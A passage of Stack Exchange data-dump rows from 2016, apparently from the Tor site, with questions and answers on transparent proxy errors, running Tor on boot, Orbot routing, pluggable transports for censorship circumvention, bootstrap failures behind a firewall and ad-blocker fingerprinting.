  <row Id="12072" PostTypeId="1" CreationDate="2016-07-09T14:46:07.840" Score="1" ViewCount="1405" Body="&lt;p&gt;I've been trying to setup a transparent Linux-based tor proxy on CHIP, following &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;these instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a /etc/tor/torrc file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;TransPort 10.0.1.28:9040&#xA;DNSPort 10.0.1.28:53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, before playing with any iptables, decided to test it using wget by trying the proxy from within the machine: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -e use_proxy=yes -e http_proxy=10.0.1.28:9040 http://google.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I get then is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--2016-07-09 14:43:45--  http://google.com/&#xA;Connecting to 10.0.1.28:9040... connected.&#xA;Proxy request sent, awaiting response... No data received.&#xA;Retrying.&#xA;&#xA;--2016-07-09 14:43:46--  (try: 2)  http://google.com/&#xA;Connecting to 10.0.1.28:9040... connected.&#xA;Proxy request sent, awaiting response... No data received.&#xA;Retrying.&#xA;&#xA;--2016-07-09 14:43:48--  (try: 3)  http://google.com/&#xA;Connecting to 10.0.1.28:9040... connected.&#xA;Proxy request sent, awaiting response... Read error (Connection reset by peer) in headers.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on Tor's log file, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 09 14:43:48.000 [warn] getsockopt() failed: Protocol not available&#xA;Jul 09 14:43:48.000 [warn] Fetching original destination failed. Closing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MORE INFO:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run Tor using strace, and this is what I've got when I'm trying to use it as a proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;accept4(8, {sa_family=AF_INET, sin_port=htons(46950), sin_addr=inet_addr(&quot;10.0.1.28&quot;)}, [16], SOCK_CLOEXEC|SOCK_NONBLOCK) = 13&#xA;setsockopt(13, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0&#xA;getsockopt(13, SOL_IP, 0x50 /* IP_??? */, 0xbee6a8c8, 0xbee6a8b0) = -1 ENOPROTOOPT (Protocol not available)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The culprit is somewhere in this area: &lt;strong&gt;SOL_IP, 0x50 /* IP_??? */&lt;/strong&gt;, as I understand the ENOPROTOOPT means that the option name is unavailable for the protocol chosen.&lt;/p&gt;&#xA;" OwnerUserId="13571" LastEditorUserId="13571" LastEditDate="2016-07-09T17:28:50.243" LastActivityDate="2016-08-10T02:16:36.313" Title="Trying to setup a transparent proxy, getting getsockopt() errors" Tags="|linux|transparent-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12073" PostTypeId="1" CreationDate="2016-07-09T15:40:05.693" Score="1" ViewCount="1252" Body="&lt;p&gt;I have a problem with my ISP. I recently changed to a new 'chat-only' provider, which allows only chat applications (i.e. whatsapp, messenger) to be used on his network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to use Orbot to mask my traffic as if it were sent by Whatsapp? I know the other way around (enabling whatsapp / facebook on blocked networks) is relatively easier, yet all I tried did not work in my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enable the Orbot VPN for my Android apps, nothing can connect to the internet (even Whatsapp does not work anymore). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestion would be much appreciated! I am kind of a network newbie, and have no idea of what is going on :)&lt;/p&gt;&#xA;" OwnerUserId="13572" LastActivityDate="2016-09-09T01:20:47.620" Title="Using Orbot to mask network traffic" Tags="|security|onion-routing|orbot|vpn|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostTypeId="2" ParentId="12053" CreationDate="2016-07-09T16:10:43.587" Score="2" Body="&lt;p&gt;The best way is to use a three components: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;/etc/rc.local&lt;/strong&gt; - It's a script that is executed on boot. I'm using it to start the components I need - see how downstrings.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;daemontools&lt;/strong&gt; package - it's available via &lt;code&gt;apt-get install daemontools&lt;/code&gt;. It's homepage is &lt;a href=&quot;https://cr.yp.to/daemontools.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. This package runs it's main binary in foreground and after that it is spawning a process-control mechanism. It works &lt;em&gt;brilliantly&lt;/em&gt; on Linx and FreeBSD - chacked it myself.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;screen&lt;/strong&gt; package - it's available via &lt;code&gt;apt-get install screen&lt;/code&gt;. It's homepage is &lt;a href=&quot;https://www.gnu.org/software/screen/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and it's a well-debugged app. What it does: it runs something &quot;as in tty/screen&quot;, so the program thinks that it is running interactively.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How to elaborate it: I'm using a shellscript named as &lt;code&gt;/service/tor/run&lt;/code&gt; to run the Tor interactively( = explicitly saying in &lt;code&gt;torrc&lt;/code&gt; config &lt;code&gt;RunAsDaemon 0&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;User tor&lt;/code&gt;) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;cd /path/to/your/tor/install/prefix&#xA;nice -n -12 /path/to/your/tor/install/prefix/bin/tor -f /etc/torrc 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That rises up Tor with altered priority and under &lt;code&gt;tor&lt;/code&gt; username. Oki-doki! And in &lt;code&gt;/etc/rc.local&lt;/code&gt; I'm using &lt;em&gt;just this&lt;/em&gt; before it's &lt;code&gt;exit 0&lt;/code&gt; clause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/screen -d -m -S dt /usr/sbin/svscan /service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that will spawn &lt;em&gt;the Screen&lt;/em&gt; that will take care of running &lt;em&gt;the Daemontools&lt;/em&gt; to ensure starting and re-starting on crush &lt;em&gt;the Tor&lt;/em&gt; binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it! This setup works 2+ years on RPi and no single failure even with auto-updates and release-upgrades: it's a fuckup-proof. Makes sense? &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-09T16:10:43.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12075" PostTypeId="2" ParentId="12062" CreationDate="2016-07-09T16:13:51.383" Score="0" Body="&lt;p&gt;You're using a Tor Browser Bundle, and it's a common problem. the problem root is that when the browser closed - it sends &lt;code&gt;DisableNetwork 1&lt;/code&gt; config to tor on-flight via control port protocol, so it stops talking to Tor network. Run your Tor &lt;strong&gt;and&lt;/strong&gt; Browser, don't close browser and give it an hour or two - then please post FULL log if the problem will still persist &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-09T16:13:51.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostTypeId="1" CreationDate="2016-07-09T22:04:32.647" Score="3" ViewCount="1143" Body="&lt;p&gt;I want my apps to connect to the internet like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Android Phone -&gt; VPN -&gt; Orbot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've been able to achieve this with OrWall (turning off transparent proxying in Orbot and selecting the apps I want to torify in OrWall).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, OrWall is out of date and will not be updated any further. Is there any other way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="13576" LastActivityDate="2022-04-11T12:01:05.103" Title="VPN -&gt; Orbot - possible?" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12078" PostTypeId="2" ParentId="12009" CreationDate="2016-07-10T14:31:18.217" Score="1" Body="&lt;p&gt;When you are looking for configuration of Tor-daemon, you should take a look at this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc-defaults&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not on Windows, however, I can advice to you to find a correct &lt;code&gt;torrc&lt;/code&gt; - config file which is used by Windows version. For example, push at one time &lt;code&gt;ctrl&lt;/code&gt;+&lt;code&gt;tab&lt;/code&gt;, in this manager try to change configuration to show you &lt;code&gt;full command name&lt;/code&gt;, there you would find Tor-daemon process, not a TorBrowser process. So there are two processes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;firefox --class Tor Browser -profile TorBrowser/Data/Browser/profile.default&lt;/li&gt;&#xA;&lt;li&gt;tor --defaults-torrc tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc-defaults&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you done, try to read config file of Tor-daemon: &lt;code&gt;torrc-defaults&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux system, it is contains next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# torrc-defaults for Tor Browser&#xA;#&#xA;# This file is distributed with Tor Browser and should not be modified (it&#xA;# may be overwritten during the next Tor Browser update). To customize your&#xA;# Tor configuration, shut down Tor Browser and edit the torrc file.&#xA;#&#xA;# If non-zero, try to write to disk less frequently than we would otherwise.&#xA;AvoidDiskWrites 1&#xA;# Where to send logging messages.  Format is minSeverity[-maxSeverity]&#xA;# (stderr|stdout|syslog|file FILENAME).&#xA;Log notice stdout&#xA;# Bind to this address to listen to connections from SOCKS-speaking&#xA;# applications.&#xA;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9151&#xA;CookieAuthentication 1&#xA;## fteproxy configuration&#xA;ClientTransportPlugin fte exec ./TorBrowser/Tor/PluggableTransports/fteproxy.bin --managed&#xA;&#xA;## obfs4proxy configuration&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec ./TorBrowser/Tor/PluggableTransports/obfs4proxy&#xA;&#xA;## meek configuration&#xA;ClientTransportPlugin meek exec ./TorBrowser/Tor/PluggableTransports/meek-client-torbrowser -- ./TorBrowser/Tor/PluggableTransports/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See, here &lt;code&gt;#&lt;/code&gt; - it is a comment, so this line will not be handled by Tor-daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, read the manual about this config file &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there are only two TCP-ports used by TorBrowser's Tor-daemon by default:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&lt;/li&gt;&#xA;&lt;li&gt;ControlPort 9151&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For each instance of TorBrowser you need to get different ports, because otherwise Tor-daemon can not bind itself on the network-subsystem, then it can not launch itself, then TorBrowser can not connect to Tor-Daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to copy full directory of TorBrowser to separate place, edit exact &lt;code&gt;torrc&lt;/code&gt;, be careful, there are many different torrc files by default, like default torrc from Tor-daemon packet, different debug torrc files, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, edit second instance by hands. Viola - you have Two different TorBrowser instance which are used two different Tor-daemons, which are binded on four different TCP-ports.&lt;/p&gt;&#xA;" OwnerUserId="13581" LastActivityDate="2016-07-10T14:31:18.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostTypeId="2" ParentId="12077" CreationDate="2016-07-10T15:33:47.387" Score="0" Body="&lt;p&gt;As I've written before in Tor.SE - you need a &lt;em&gt;separate&lt;/em&gt; box to route traffic to prevent network leaks 100%. I'd recommend to use a Raspberry Pi or Orange Pi PC board to do so - it will be secure, a &lt;em&gt;way more faster&lt;/em&gt;, and will save your Phone/Tablet battery life. For example Nexus 7 lives with just Orbot for 1 day and some hours, without Orbot(with a routing box) - 3-4 days no problem! The problem that can &lt;strong&gt;never&lt;/strong&gt; be solved by installing something on a phone is that you need to control all the processes, especially on boot sequence, and give no root permission to programs. You can use a wireshark/tcpdump and just boot your you-think-torified phone or tablet and take a look at traffic: at early stages it &lt;em&gt;will&lt;/em&gt; jailbreak and go online without Tor&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-10T15:33:47.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12082" PostTypeId="2" ParentId="12067" CreationDate="2016-07-10T23:43:37.637" Score="1" Body="&lt;p&gt;It uses external libraries. Specifically OpenSSL, curve25519-donna, and ed25519 (either donna or ref10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for key generation can be found in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;curve25519 - gitweb.torproject.org/tor.git/tree/src/common/crypto_curve25519.c?id=tor-0.2.7.6#n130&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ed25519 - gitweb.torproject.org/tor.git/tree/src/common/crypto_ed25519.c?id=tor-0.2.7.6#n99&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSA - gitweb.torproject.org/tor.git/tree/src/common/crypto.c?id=tor-0.2.7.6#n553&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can't post &gt;2 links)&lt;/p&gt;&#xA;" OwnerUserId="13586" LastActivityDate="2016-07-10T23:43:37.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12083" PostTypeId="2" ParentId="12073" CreationDate="2016-07-11T00:08:47.817" Score="1" Body="&lt;p&gt;Technically this kind of thing can be done through a &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transport&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of anyone actually having done this &lt;em&gt;specifically&lt;/em&gt;. It probably wouldn't work very well, a curious observer would notice that you always send short messages and receive messages in orders of magnitude larger in response, which &lt;em&gt;may not&lt;/em&gt; (I've no studies to back this up) be what chat looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still wanted this, you could of course write your own pluggable transport, setup a whatsapp listener on a bridge and another on your local system and send your tor traffic across whatsapp itself, this is the beauty of tunneling. I'm unsure of how technically capable you are, and this may be beyond your current scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably better pre-existing approaches to by-passing their censorship, most &quot;chat&quot; applications are going to need at least two things to work: DNS and TLS over TCP. By using tunneling like &lt;a href=&quot;http://code.kryo.se/iodine/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;iodine&lt;/code&gt;&lt;/a&gt; (I've had a shelved project for a while to use the goptlib to make an iodine-like pluggable-transport, it has some fun advantages...), or by finding a CDN that some allowed &quot;chat&quot; application requires that you can also use as a domain front for a &lt;code&gt;meek&lt;/code&gt; instance.&lt;/p&gt;&#xA;" OwnerUserId="13586" LastActivityDate="2016-07-11T00:08:47.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12084" PostTypeId="2" ParentId="12072" CreationDate="2016-07-11T01:21:22.723" Score="1" Body="&lt;p&gt;You're trying to use a transparent proxy as an http proxy, this will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to follow the iptables setup, or some kind of packetfilter that has &lt;code&gt;REDIRECT&lt;/code&gt;-like fucntionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &quot;&lt;a href=&quot;https://tor.stackexchange.com/a/4309/13586&quot;&gt;How does Tor transparent proxying work?&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13586" LastActivityDate="2016-07-11T01:21:22.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12085" PostTypeId="2" ParentId="10404" CreationDate="2016-07-11T02:59:59.597" Score="1" Body="&lt;p&gt;You can't change this locally for anything but your connection to your guard, to implement this you'd need to run your own onion routing network all of them running the patched version of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also have problems that each of your relays is now also going to run into problems with exhausted file descriptors. Each relay would have a single connection between A and B for every circuit it had open, it would have &lt;em&gt;two&lt;/em&gt; file descriptors per circuit, one from the relay connecting in and one for the outbound connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any kind of rationale for wanting to make this change?&lt;/p&gt;&#xA;" OwnerUserId="13586" LastActivityDate="2016-07-11T02:59:59.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12087" PostTypeId="1" CreationDate="2016-07-11T14:12:31.227" Score="1" ViewCount="646" Body="&lt;p&gt;I use Tor a lot at work because we have a strict firewall here.&#xA;Lately my Tor is not able to connect... but Orbot connects normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what I supposed have to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obs.: Here just meek-azure works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11/07/2016 09:46:17.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;11/07/2016 09:46:17.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;11/07/2016 09:46:21.300 [NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;11/07/2016 09:46:21.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;11/07/2016 09:47:21.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2)&#xA;11/07/2016 09:47:21.400 [WARN] 1 connections have failed:&#xA;11/07/2016 09:47:21.400 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;11/07/2016 09:47:23.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;11/07/2016 09:47:23.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;---- UPDATE ----&lt;br&gt;&#xA;Data:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There's no proxy here!  &lt;/li&gt;&#xA;&lt;li&gt;Tor version 6.0.2  &lt;/li&gt;&#xA;&lt;li&gt;Windows 10  &lt;/li&gt;&#xA;&lt;li&gt;Company Firewall: Fortigate  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[Using custom bridges]    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/07/2016 07:54:02.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;12/07/2016 07:54:02.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 07:54:02.000 [NOTICE] Bootstrapped 5%: Connecting to directory server   &#xA;12/07/2016 07:54:02.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server   &#xA;12/07/2016 07:59:03.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 07:59:03.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;12/07/2016 07:59:11.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 07:59:58.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 6; recommendation warn; host B8839CDB805044D8360C989E6E9E121C081A662B at 146.0.73.3:443)   &#xA;12/07/2016 07:59:58.400 [WARN] 6 connections have failed:   &#xA;12/07/2016 07:59:58.400 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE   &#xA;12/07/2016 07:59:58.400 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object)   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[Using meek-azure]    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/07/2016 08:04:24.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 08:05:28.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 7; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3)   &#xA;12/07/2016 08:05:28.800 [WARN] 7 connections have failed:   &#xA;12/07/2016 08:05:28.800 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE   &#xA;12/07/2016 08:05:28.800 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object)   &#xA;12/07/2016 08:05:44.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 08:05:44.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;12/07/2016 08:05:44.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IMPORTANT OBS: ORBOT works with this configuration, but Tor doesn't I don't know why (computer and cellphone are in the same LAN, same router, same ssid)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Using Obsf4]  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/07/2016 08:06:47.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150   &#xA;12/07/2016 08:07:14.800 [WARN] Proxy Client: unable to connect to IP.AD.DD.RESS:443 (&quot;general SOCKS server failure&quot;)   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obs.: I had to cancel because it took too much time!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, all pluggable transports have fail.  &lt;/p&gt;&#xA;" OwnerUserId="13589" LastEditorUserId="88" LastEditDate="2017-05-09T11:42:36.377" LastActivityDate="2017-05-09T11:42:36.377" Title="Orbot works, but Tor doesn't" Tags="|orbot|pluggable-transports|obfs4|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12088" PostTypeId="2" ParentId="4480" CreationDate="2016-07-12T00:23:48.493" Score="0" Body="&lt;p&gt;From what I understand, the Tor browser is a modified Firefox browser.  When you install Adblock Plus, it uses filters to block certain traffic.  You can choose which filters to use.  For example, I am using almost all of the available Adblock Plus filters on my regular FireFox browser.  I have not installed Tor yet.  The filters I am using are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;  EasyList&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;  EasyPrivacy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;  Disable Malware&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;  Fanboy's Social Blocking List&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt;  There is another which I have disabled:  Adblock Warning Removal List.  I'm not sure what this is used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see these filters and what settings you have by clicking on the red Adblock Plus stop sign on your browser and then choosing &quot;Filter Preferences.&quot;  The filters are listed on the &quot;Filter Subscriptions&quot; tab.  Most people probably only use 1 or 2 filters.  You can add the other filters by visiting the Adblock Plus website.  When these filters are loaded to your list, enabled or disabled, they are updated every so often, probably every 2 or 3 days.  When they update, they do contact the easylist page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;  &lt;a href=&quot;https://easylist-downloads.adblockplus.org/easylist.txt&quot; rel=&quot;nofollow&quot;&gt;https://easylist-downloads.adblockplus.org/easylist.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;  &lt;a href=&quot;https://easylist-downloads.adblockplus.org/easyprivacy.txt&quot; rel=&quot;nofollow&quot;&gt;https://easylist-downloads.adblockplus.org/easyprivacy.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;  ...malwaredomains_full.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;  ...fanboy-social.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt;  ...antiadblockfilters.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never checked to see if Adblock Plus uses the FireFox proxy settings.  You would need to use a Windows connections lister such as Nirsoft CPort or Sysinternals TCPView.  Keep in mind, these filters are small text files and download very quickly, especially if you have a fast 80Mbit/s connection.  Activity on these connections would appear and then disappear very quickly in these listers.  Instead of waiting for Adblock Plus to update a filter, you can manually update each individual filter by clicking &quot;Action&quot; and then &quot;update filters.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to block ads and you don't mind the possibility of Adblock Plus knowing your physical location, then you can use Adblock Plus.  Finally, when Adblock Plus does phone home, I don't know what information it &lt;strong&gt;&lt;em&gt;sends&lt;/em&gt;&lt;/strong&gt; , if it &lt;strong&gt;&lt;em&gt;sends&lt;/em&gt;&lt;/strong&gt; any identifying information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decision is yours to make.&lt;/p&gt;&#xA;" OwnerUserId="13593" LastEditorDisplayName="user5" LastEditDate="2016-09-08T00:20:03.740" LastActivityDate="2016-09-08T00:20:03.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12090" PostTypeId="2" ParentId="4480" CreationDate="2016-07-12T01:17:13.903" Score="9" Body="&lt;p&gt;&lt;em&gt;Update: Tails moved to uBlock Origin.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;tl;dr version:&lt;/h3&gt;&#xA;&lt;p&gt;Tails uses uBlock Origin, if you use the same version, lists and config as Tails you can block most ads and keep a reasonable anonymity set, or you could just use Tails.&lt;/p&gt;&#xA;&lt;h3&gt;Longer version:&lt;/h3&gt;&#xA;&lt;p&gt;Ad-blocking is fingerprintable.&lt;/p&gt;&#xA;&lt;p&gt;Disabling javascript will not stop it being fingerprintable, an observer can still watch the resources you do or do not load. An adversary can craft a website to enumerate blocking from common lists to determine which website elements you do or do not load, and thus which lists you subscribe to. Using less common lists or special lists will make you stand out further.&lt;/p&gt;&#xA;&lt;p&gt;Tails ships with uBlock Origin in it's Tor Browser (something that no other answer actually touches on?). If you were to use Tails' uBlock Origin version, lists and configuration you would appear like a Tails user, which would give you a reasonable anonymity set.&lt;/p&gt;&#xA;&lt;p&gt;Ad-blocking &lt;em&gt;is&lt;/em&gt; censorship, you allow third parties to define what you can or cannot see on the web.&lt;/p&gt;&#xA;&lt;p&gt;Ad-blocking &lt;em&gt;does not&lt;/em&gt; defeat tracking. If you subscribe to every list in the world, you will still be subject to tracking because blacklisting &lt;em&gt;never&lt;/em&gt; works with 100% efficacy. You should not approach ad-blockers in the belief that they make you less trackable, instead they should be approached as a means to improve your browsing experience if you (like I do) find ads offensive.&lt;/p&gt;&#xA;&lt;h3&gt;Further suggestion:&lt;/h3&gt;&#xA;&lt;p&gt;The Tor Browser &lt;em&gt;should&lt;/em&gt; ship with a default ad-blocker. They have legitimate reason to not want to allow some third party to provide a text file that says what will or will not load on the internet for their users. &lt;em&gt;However&lt;/em&gt;, that being said people &lt;em&gt;want&lt;/em&gt; ad-blockers (not all people all of the time but some people some of the time) and the Tor Browser not shipping with something like ABP or uBlock means that more people are likely to just install &lt;em&gt;some&lt;/em&gt; ad-blocker and configure it themselves. This is, ultimately, fragmenting anonymity sets. I feel the Tor Browser should ship with an ad-blocker, with a sensible configuration, that is disabled by default. This would allow users who are going to install one anyway, to be a more homogeneous set.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" 